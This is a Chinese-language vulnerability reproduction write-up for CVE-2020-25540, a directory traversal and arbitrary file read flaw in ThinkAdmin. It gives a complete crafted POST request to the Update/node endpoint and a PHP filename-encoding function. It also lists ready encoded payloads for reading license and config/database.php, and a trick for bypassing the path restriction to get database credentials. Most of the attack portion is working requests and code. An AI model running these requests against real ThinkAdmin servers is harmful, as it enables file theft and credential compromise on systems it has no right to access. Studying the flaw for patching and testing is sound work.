POC:https://github.com/Schira4396/CVE-2020-25540/blob/main/poc.pyhttps://github.com/Schira4396/CVE-2020-25540/blob/main/poc.py
http://xx.xx.xx:xx/admin.html?s=admin/api.Update/get/encode/302x2r2t32372t
/public/robots.txt: 302x2r2t32372t
license: 302x2r2t32372t
/config/database.php: 1b2r33322u2x2v1b2s2p382p2q2p372t1a342w34
http://xx.xx.xx:xx/admin.html?s=admin/api.Update/get/encode/1b2r33322u2x2v1b2s2p382p2q2p372t1a342w34
影响版本:
ThinkAdmin版本 ≤ 2020.08.03.01
漏洞详解:
https://github.com/zoujingli/ThinkAdmin/issues/244https://github.com/zoujingli/ThinkAdmin/issues/244
本地复现环境:
小皮面板(php 7.1.9,MySQL5.7.26), ThinkAdmin V6 漏洞版本。
环境搭建后,导入数据库,使用命令启动php think run,访问http://127.0.0.1:8000/
漏洞复现:
1. 目录文件遍历
Burp Suite抓首页包。
变更请求为POST,修改请求URL,添加POST参数rules。rules参数使用URL编码。
rules=["/"] -> rules=%5b%22%2f%22%5d
POST /admin.html?s=admin/api.Update/node HTTP/1.1
Host: 127.0.0.1:8000
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=d730c275e3b6fc8dc4f0f6ea8f62c4b3
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 21
rules=%5b%22%2f%22%5d
返回文件信息。
返回的目录文件为当前应用根目录,不是系统根目录。
rules=["../"] 可以向上层目录移动。目录遍历内容超出限制会报错。
2. 任意文件读取
<?php
function encode($content) {
//加密正常文件名
list($chars, $length) = ['', strlen($string = iconv('UTF-8', 'GBK//TRANSLIT',$content))];
//加密中文文件名
//list($chars, $length) = ['', strlen($string = iconv('UTF-8', 'GB2312', $content))];
for ($i = 0; $i < $length; $i++)
$chars .= str_pad(base_convert(ord($string[$i]), 10, 36), 2, 0, 0);
return $chars;
}
$content="readme.md";echo encode($content);
?>
在线运行PHP地址:代码在线运行 - 在线工具
读取当前根目录的license文件,使用上面的加密函数生成文件名 302x2r2t32372t。
GET请求地址,即可获取文件信息,使用base64解码得到文件内容:
http://192.168.80.111:8000/admin.html?s=admin/api.Update/get/encode
base64解码:
ThinkAdmin限制读取的路径:
config
public/static
public/router.php
public/index.php
app/admin
app/wechat
读取database.php失败,可以利用database"php来绕过。
读取database.php的数据库配置信息。
base64转码(UTF-8编码)Base64在线编码解码 UTF-8http://tools.jb51.net/tools/base64_decode-utf8.php